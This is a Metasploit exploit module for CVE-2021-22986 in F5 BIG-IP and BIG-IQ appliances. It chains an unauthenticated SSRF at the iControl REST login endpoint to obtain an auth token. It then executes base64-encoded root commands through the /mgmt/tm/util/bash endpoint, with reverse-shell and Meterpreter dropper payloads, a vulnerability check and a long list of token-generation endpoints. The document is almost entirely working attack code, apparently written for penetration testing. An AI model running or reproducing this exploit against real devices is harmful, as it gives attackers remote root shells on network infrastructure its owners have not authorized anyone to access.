##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'F5 iControl REST Unauthenticated SSRF Token Generation RCE',
        'Description' => %q{
          This module exploits a pre-auth SSRF in the F5 iControl REST API's
          /mgmt/shared/authn/login endpoint to generate an X-F5-Auth-Token that
          can be used to execute root commands on an affected BIG-IP or BIG-IQ
          device. This vulnerability is known as CVE-2021-22986.

          CVE-2021-22986 affects the following BIG-IP versions:

          * 12.1.0 - 12.1.5
          * 13.1.0 - 13.1.3
          * 14.1.0 - 14.1.3
          * 15.1.0 - 15.1.2
          * 16.0.0 - 16.0.1

          And the following BIG-IQ versions:

          * 6.0.0 - 6.1.0
          * 7.0.0
          * 7.1.0

          Tested against BIG-IP Virtual Edition 16.0.1 in VMware Fusion.
        },
        'Author' => [
          'wvu', # Analysis and exploit
          'Rich Warren' # First blood (RCE) and endpoint collaboration
        ],
        'References' => [
          ['CVE', '2021-22986'],
          ['URL', 'https://support.f5.com/csp/article/K03009991'],
          ['URL', 'https://attackerkb.com/assessments/f6b19d24-b24e-4abd-98cf-2988d7424311'],
          ['URL', 'https://research.nccgroup.com/2021/03/18/rift-detection-capabilities-for-recent-f5-big-ip-big-iq-icontrol-rest-api-vulnerabilities-cve-2021-22986/']
          # https://clouddocs.f5.com/products/big-iq/mgmt-api/v7.0.0/ApiReferences/bigiq_public_api_ref/r_auth_login.html
        ],
        'DisclosureDate' => '2021-03-10', # Vendor advisory
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => true,
        'Targets' => [
          [
            'Unix Command',
            {
              'Platform' => 'unix',
              'Arch' => ARCH_CMD,
              'Type' => :unix_cmd,
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_python_ssl'
              }
            }
          ],
          [
            'Linux Dropper',
            {
              'Platform' => 'linux',
              'Arch' => [ARCH_X86, ARCH_X64],
              'Type' => :linux_dropper,
              'DefaultOptions' => {
                'CMDSTAGER::FLAVOR' => :bourne,
                'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION], # Only one concurrent session
          'SideEffects' => [
            IOC_IN_LOGS, # /var/log/restjavad.0.log (rotated)
            ACCOUNT_LOCKOUTS, # Unlikely with bigipAuthCookie
            ARTIFACTS_ON_DISK # CmdStager
          ]
        }
      )
    )

    register_options([
      Opt::RPORT(443),
      OptString.new('TARGETURI', [true, 'Base path', '/']),
      OptString.new('USERNAME', [true, 'Valid admin username', 'admin']),
      OptString.new('ENDPOINT', [false, 'Custom token generation endpoint'])
    ])

    register_advanced_options([
      OptFloat.new('CmdExecTimeout', [true, 'Command execution timeout', 3.5])
    ])
  end

  def username
    datastore['USERNAME']
  end

  def user_reference_endpoint
    normalize_uri(target_uri.path, '/mgmt/shared/authz/users', username)
  end

  def check
    generate_token_ssrf ? CheckCode::Vulnerable : CheckCode::Safe
  end

  def exploit
    return unless (@token ||= generate_token_ssrf)

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    case target['Type']
    when :unix_cmd
      execute_command(payload.encoded)
    when :linux_dropper
      execute_cmdstager
    end
  end

  def generate_token_ssrf
    print_status('Generating token via SSRF...')
    vprint_status("Username: #{username}")
    vprint_status("Endpoint: #{login_reference_endpoint}")

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/mgmt/shared/authn/login'),
      'ctype' => 'application/json',
      'data' => {
        'username' => username,
        'bigipAuthCookie' => '',
        'authProviderName' => 'local',
        'loginReference' => {
          'link' => "https://localhost#{login_reference_endpoint}"
        },
        'userReference' => {
          'link' => "https://localhost#{user_reference_endpoint}"
        }
      }.to_json
    )

    unless res&.code == 200 && (@token = res.get_json_document.dig('token', 'token'))
      print_error('Failed to generate token')
      return
    end

    print_good("Successfully generated token: #{@token}")
    @token
  end

  def execute_command(cmd, _opts = {})
    bash_cmd = "eval $(echo #{Rex::Text.encode_base64(cmd)} | base64 -d)"

    print_status("Executing command: #{bash_cmd}")

    res = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/mgmt/tm/util/bash'),
      'ctype' => 'application/json',
      'headers' => {
        'X-F5-Auth-Token' => @token
      },
      'data' => {
        'command' => 'run',
        'utilCmdArgs' => "-c '#{bash_cmd}'"
      }.to_json
    }, datastore['CmdExecTimeout'])

    unless res
      print_warning('Command execution timed out')
      return
    end

    json = res.get_json_document

    unless res.code == 200 && json['kind'] == 'tm:util:bash:runstate'
      fail_with(Failure::PayloadFailed, 'Failed to execute command')
    end

    print_good('Successfully executed command')

    return unless (cmd_result = json['commandResult'])

    vprint_line(cmd_result)
  end

  def login_reference_endpoint
    if datastore['ENDPOINT']
      return normalize_uri(target_uri.path, datastore['ENDPOINT'])
    end

    @token_generation_endpoint ||= token_generation_endpoints.sample

    normalize_uri(target_uri.path, @token_generation_endpoint)
  end

  # Usable token generation endpoints between versions 12.1.4 and 16.0.1
  def token_generation_endpoints
    %w[
      /access/file-path-manager/indexing
      /cm/autodeploy/cluster-software-images/indexing
      /cm/autodeploy/qkview/indexing
      /cm/autodeploy/software-images/indexing
      /cm/autodeploy/software-volume-install/indexing
      /cm/system/authn/providers/tmos/1f44a60e-11a7-3c51-a49f-82983026b41b/users/indexing
      /cm/system/authn/providers/tmos/indexing
      /mgmt/shared/analytics/avr-proxy-tasks
      /mgmt/shared/gossip
      /mgmt/shared/gossip-peer-refresher
      /mgmt/shared/identified-devices/config/device-refresh
      /mgmt/shared/save-config
      /mgmt/tm/shared/bigip-failover-state
      /shared/analytics/avr-proxy-tasks
      /shared/analytics/avr-proxy-tasks/indexing
      /shared/analytics/event-aggregation-tasks/indexing
      /shared/analytics/event-analysis-tasks/indexing
      /shared/authn/providers/local/groups/indexing
      /shared/authz/remote-resources/indexing
      /shared/authz/resource-groups/indexing
      /shared/authz/roles/indexing
      /shared/authz/tokens/indexing
      /shared/chassis-framework-upgrades/indexing
      /shared/device-discovery-tasks/indexing
      /shared/device-group-key-pairs/indexing
      /shared/echo/indexing
      /shared/framework-info-tasks/indexing
      /shared/framework-upgrades/indexing
      /shared/gossip
      /shared/gossip-peer-refresher
      /shared/group-task/indexing
      /shared/iapp/blocks/indexing
      /shared/iapp/build-package/indexing
      /shared/iapp/health-prefix-map/indexing
      /shared/iapp/package-management-tasks/indexing
      /shared/iapp/template-loader/indexing
      /shared/identified-devices/config/device-refresh
      /shared/nodejs/loader-path-config/indexing
      /shared/package-deployments/indexing
      /shared/resolver/device-groups/indexing
      /shared/resolver/device-groups/tm-shared-all-big-ips/devices/indexing
      /shared/root-framework-upgrades/indexing
      /shared/rpm-tasks/indexing
      /shared/save-config
      /shared/snapshot-task/indexing
      /shared/snapshot/indexing
      /shared/stats-information/indexing
      /shared/storage/tasks/indexing
      /shared/task-scheduler/scheduler/indexing
      /shared/tmsh-shell/indexing
      /tm/analytics/afm-sweeper/generate-report/indexing
      /tm/analytics/afm-sweeper/report-results/indexing
      /tm/analytics/application-security-anomalies/generate-report/indexing
      /tm/analytics/application-security-anomalies/report-results/indexing
      /tm/analytics/application-security-network/generate-report/indexing
      /tm/analytics/application-security-network/report-results/indexing
      /tm/analytics/application-security/generate-report/indexing
      /tm/analytics/application-security/report-results/indexing
      /tm/analytics/asm-bypass/generate-report/indexing
      /tm/analytics/asm-bypass/report-results/indexing
      /tm/analytics/asm-cpu/generate-report/indexing
      /tm/analytics/asm-cpu/report-results/indexing
      /tm/analytics/asm-memory/generate-report/indexing
      /tm/analytics/asm-memory/report-results/indexing
      /tm/analytics/cpu/generate-report/indexing
      /tm/analytics/cpu/report-results/indexing
      /tm/analytics/disk-info/generate-report/indexing
      /tm/analytics/disk-info/report-results/indexing
      /tm/analytics/dns/generate-report/indexing
      /tm/analytics/dns/report-results/indexing
      /tm/analytics/dos-l3/generate-report/indexing
      /tm/analytics/dos-l3/report-results/indexing
      /tm/analytics/http/generate-report/indexing
      /tm/analytics/http/report-results/indexing
      /tm/analytics/ip-intelligence/generate-report/indexing
      /tm/analytics/ip-intelligence/report-results/indexing
      /tm/analytics/ip-layer/generate-report/indexing
      /tm/analytics/ip-layer/report-results/indexing
      /tm/analytics/lsn-pool/generate-report/indexing
      /tm/analytics/lsn-pool/report-results/indexing
      /tm/analytics/memory/generate-report/indexing
      /tm/analytics/memory/report-results/indexing
      /tm/analytics/network/generate-report/indexing
      /tm/analytics/network/report-results/indexing
      /tm/analytics/pem/generate-report/indexing
      /tm/analytics/pem/report-results/indexing
      /tm/analytics/proc-cpu/generate-report/indexing
      /tm/analytics/proc-cpu/report-results/indexing
      /tm/analytics/protocol-security-http/generate-report/indexing
      /tm/analytics/protocol-security-http/report-results/indexing
      /tm/analytics/protocol-security/generate-report/indexing
      /tm/analytics/protocol-security/report-results/indexing
      /tm/analytics/sip/generate-report/indexing
      /tm/analytics/sip/report-results/indexing
      /tm/analytics/swg-blocked/generate-report/indexing
      /tm/analytics/swg-blocked/report-results/indexing
      /tm/analytics/swg/generate-report/indexing
      /tm/analytics/swg/report-results/indexing
      /tm/analytics/tcp-analytics/generate-report/indexing
      /tm/analytics/tcp-analytics/report-results/indexing
      /tm/analytics/tcp/generate-report/indexing
      /tm/analytics/tcp/report-results/indexing
      /tm/analytics/udp/generate-report/indexing
      /tm/analytics/udp/report-results/indexing
      /tm/analytics/vcmp/generate-report/indexing
      /tm/analytics/vcmp/report-results/indexing
      /tm/analytics/virtual/generate-report/indexing
      /tm/analytics/virtual/report-results/indexing
      /tm/shared/bigip-failover-state
      /tm/shared/sys/backup/indexing
    ]
  end

end
